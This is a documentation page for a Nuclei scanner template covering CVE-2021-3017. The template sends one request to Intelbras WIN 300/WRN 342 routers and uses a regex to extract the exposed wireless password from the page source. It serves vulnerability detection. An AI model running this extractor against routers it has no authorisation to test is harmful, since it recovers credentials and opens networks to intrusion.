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Nuclei Templates

Intelbras WIN 300/WRN 342 - Credentials Disclosure

ID: CVE-2021-3017

Severity: high

Author: pikpikcu

Tags: cve2021,cve,exposure,router,intelbras

Description

Section titled “Description”

Intelbras WIN 300 and WRN 342 devices through 2021-01-04 allows remote attackers to discover credentials by reading the def_wirelesspassword line in the HTML source code.

YAML Source

Section titled “YAML Source”
id: CVE-2021-3017


info:
  name: Intelbras WIN 300/WRN 342 - Credentials Disclosure
  author: pikpikcu
  severity: high
  description: Intelbras WIN 300 and WRN 342 devices through 2021-01-04 allows remote attackers to discover credentials by reading the def_wirelesspassword line in the HTML source code.
  impact: |
    An attacker can gain unauthorized access to the router's administrative interface and potentially compromise the entire network.
  remediation: |
    Update the router firmware to the latest version, which includes a fix for the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3017
    - https://pastebin.com/cTYTf0Yn
    - https://github.com/bigblackhat/oFx
    - https://github.com/openx-org/BLEN
    - https://github.com/Miraitowa70/POC-Notes
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-3017
    epss-score: 0.01563
    epss-percentile: 0.87211
    cpe: cpe:2.3:h:intelbras:win_300:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: intelbras
    product: win_300
  tags: cve2021,cve,exposure,router,intelbras


http:
  - method: GET
    path:
      - "{{BaseURL}}/index.asp"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'def_wirelesspassword ='
          - '<title>Roteador Wireless</title>'
        condition: and


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        regex:
          - 'def_wirelesspassword = "([A-Za-z0-9=]+)";'
        part: body
# digest: 4a0a0047304502206a8fc0722fe9a3c61911bce464863aada1decb12d8f1e8cf031c578a4abaf89d022100b57f0affc526dfde1fa8fff627f7d0e7cfcfe6d60fb76dff6e77ee9c1fa33e5f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-3017.yaml"

View on Github